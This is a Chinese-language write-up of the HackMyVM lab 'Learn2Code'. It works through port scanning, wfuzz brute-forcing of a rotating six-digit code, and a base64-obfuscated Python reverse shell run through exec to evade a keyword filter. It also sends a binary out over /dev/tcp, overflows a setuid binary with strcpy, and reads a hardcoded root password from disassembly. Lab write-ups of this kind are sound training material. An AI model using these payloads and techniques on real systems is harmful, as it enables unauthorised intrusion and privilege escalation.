0%

HMV-Learn2Code

HMV-Learn2Code靶机复盘

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kakeru)-[~/tmp]
└─# nmap -A 192.168.58.164 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 14:37 CST
Nmap scan report for bogon (192.168.58.164)
Host is up (0.0019s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Access system
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 0E:EA:64:0E:8F:AB (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 1.89 ms bogon (192.168.58.164)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds

只开放了80端口,那就直接进入web环节了

web探测


得到了一个奇怪的输入框
查看页面源代码,可以找到有一个includes/js/functions.js界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function check_code() {
var params = new Array("action=check_code", "code="+$('#code').val());
php_ajax(params, "includes/php/access.php", function(response) {
if (response.indexOf("wrong") != -1) {
$('.result').show();
} else {
$('body').html(response);
}
});
}

function run_code() {
var params = new Array("action=run_code", "code="+$('#custom_code').val());
php_ajax(params, "includes/php/runcode.php", function(response) {
$('#response_code').val(response);
});
}

includes/js/custom_lib.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function php_ajax(params, php_file, response)
{
for (var i = 0; i < params.length; i+=1) {
if (i == 0) {
var parametros = params[i];
} else {
parametros = parametros + "&" + params[i];
}
}

var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
response(this.responseText);
}
};

xmlhttp.open("POST", php_file, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parametros);
}

这个页面还设置了一个请求头"Content-type", "application/x-www-form-urlencoded"
最后我们还能从页面源代码这里知道

1
<input type="number" class="form-control text-center" min-length="6" max-length="6" id="code" name="code">

code是一个六位数

第一个check_code()函数就是我们在首页校验code的函数,第二个run_code是什么呢,它运行后会去includes/php/runcode.php界面

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# curl http://192.168.58.164/includes/php/runcode.php
Don't be a cheater!

这里有信息,肯定会利用到!
那现在最直接的做法就是爆破code了,生成所有的6位数作为字典,然后还要指定一个Content-type头
用wfuzz跑
这里好像因为会因为我的cpu限制自动终止了,所以我分批操作了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(root㉿kakeru)-[~/tmp]
└─# wfuzz -c -z file,tmp.txt -u "http://192.168.58.164/includes/php/access.php" \
-X POST -d "action=check_code&code=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
--hw 1 -t 100

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.58.164/includes/php/access.php
Total requests: 1000000

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000012774: 200 0 L 1 W 5 Ch "012773"
zsh: killed wfuzz -c -z file,tmp.txt -u "http://192.168.58.164/includes/php/access.php" -


┌──(root㉿kakeru)-[~/tmp]
└─# wfuzz -c -z file,tmp -u "http://192.168.58.164/includes/php/access.php" \
-X POST -d "action=check_code&code=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
--hw 1 --hc 5 -t 100

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.58.164/includes/php/access.php
Total requests: 87635

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000081488: 200 47 L 98 W 1543 Ch "993852"

Total time: 0
Processed Requests: 87635
Filtered Requests: 87634
Requests/sec.: 0

找到了code993852 但是我在输入的时候还是错误,但是wfuzz刚刚是测的没问题,就说明这个code是在变化的,所以必须快速得到就登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kakeru)-[~/tmp]
└─# wfuzz -c -z file,tmp -u "http://192.168.58.164/includes/php/access.php" \
-X POST -d "action=check_code&code=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
--hw 1 --hc 5 -t 100

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.58.164/includes/php/access.php
Total requests: 87000

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000032297: 200 47 L 98 W 1543 Ch "945296"

登录之后有一个输入框让我们输入代码

但是不知道要输入什么代码,我先测试一下

1
2
3
4
5
6
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "<string>", line 1
nc -e bin/bash
^
SyntaxError: invalid syntax

出现这种报错,说明是python代码,那就用python的反弹shell
我先是输入了一个正常的python反弹shell代码,提示Please, don’t use malicious code
说明过滤了某些值
把我们要执行的命令用base64编码,然后用exec函数执行

1
2
3
4
5
6
7
8
exec "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNTguMTEiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7".decode('base64')


┌──(root㉿kakeru)-[~/tmp]
└─# nc -lp 1234
bash: cannot set terminal process group (505): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Learn2Code:/var/www/html/includes/php$

成功拿到www-data的shell

提权

没有sudo权限,然后用find指令找了一下输入learner用户的文件,也没有发现,
上传linpeas.sh找一下敏感的内容

1
2
3
4
5
6
7
8
9
10
11
[+] SGID
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root mail 19K Dec 3 2017 /usr/bin/dotlockfile
-rwxr-sr-x 1 root tty 15K May 4 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root shadow 31K Jul 27 2018 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 71K Jul 27 2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 35K Jan 10 2019 /usr/bin/wall
-rwxr-sr-x 1 root shadow 39K Feb 14 2019 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root crontab 43K Oct 11 2019 /usr/bin/crontab
-rwxr-sr-x 1 root ssh 315K Jan 31 2020 /usr/bin/ssh-agent
-r-sr-sr-x 1 root www-data 17K Sep 28 2020 /usr/bin/MakeMeLearner

发现有一个/usr/bin/MakeMeLearner

1
2
www-data@Learn2Code:/tmp$ file /usr/bin/MakeMeLearner
/usr/bin/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU/Linux 3.2.0, not stripped

这是个可执行文件,下载到本地看看

1
2
3
4
┌──(root㉿kakeru)-[~/tmp]
└─# nc -lp 4444 > MakeMeLearner

www-data@Learn2Code:/tmp$ cat /usr/bin/MakeMeLearner > /dev/tcp/192.168.58.11/4444

在本机用strings看了一下,好像有binbash,但是还是不能看出来在干嘛,用ida打开分析一下
main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
char dest[76]; // [rsp+10h] [rbp-50h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]

if ( argc == 1 )
errx(1, "please specify an argument\n", envp);
printf("Change the 'modified' variable value to '0x61626364' to be a learner");
v5 = 0;
strcpy(dest, argv[1]);
if ( v5 == 1633837924 )
{
setuid(0x3E8u);
setgid(0x3E8u);
system("/bin/bash");
}
else
{
printf("Try again, you got 0x%08x\n", v5);
}
return 0;
}

这里就是利用strcpy的栈溢出,这里的pwn就是我的知识盲区了,只能看wp了,后面web学好了会继续学pwn的知识
执行一下这个程序

1
2
3
4
5
6
7
www-data@Learn2Code:/tmp$ /usr/bin/MakeMeLearner 1633837924
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000


┌──(root㉿kakeru)-[~/tmp]
└─# rax2 -s 0x61626364
abcd

它这里返回的消息是想要abcd
这里第一种方案是随便写点东西,发现在很长的时候就不是you got 0x00000000了,然后再找到一个边界值,最后哦输入abcd就能符合条件

1
2
3
4
5
6
7
hange the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00666164
<flkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasds
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000
<kljflkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasdsabcd
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x64636261
<lkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasdsdcba
learner@Learn2Code:/tmp$

找到边界值之后,根据回显输入abcd,发现大小端是反的,所以输入dcba,然后就成功拿到learner的shell了

第二种方法是用msf做,先用msf-pattern_create生成一个很长的pattern,然后在gdb中传给这个程序,让他的内存炸,然后再去用msf-pattern_offset找到精确的偏移量

然后learner这个用户也有一个程序,名称是密码
然后再用ida看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near

var_18= qword ptr -18h
var_10= qword ptr -10h
var_8= qword ptr -8

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 20h
lea rax, aNoi98ho ; "NOI98hO"
mov [rbp+var_8], rax
lea rax, aIhj ; "Ihj"
mov [rbp+var_10], rax
lea rax, aJj ; ")(Jj"
mov [rbp+var_18], rax
lea rdi, s ; "If you are a learner, i'm sure you know"...
call _puts
mov eax, 0
leave
retn
; } // starts at 1135
main endp

这里就直接给出密码了NOI98hOIhj)(Jj
输入密码就拿到rootshell了

1
2
3
learner@Learn2Code:/home/learner$ su - root     
Password:
root@Learn2Code:~#

总结

学到了用wfuzz爆破值,然后python的反弹shell应用
python过滤关键字,但是可以执行命令的时候通用方法–exec .decode(‘base64’)
了解pwn的简单栈溢出,了解pwn的一些基本原理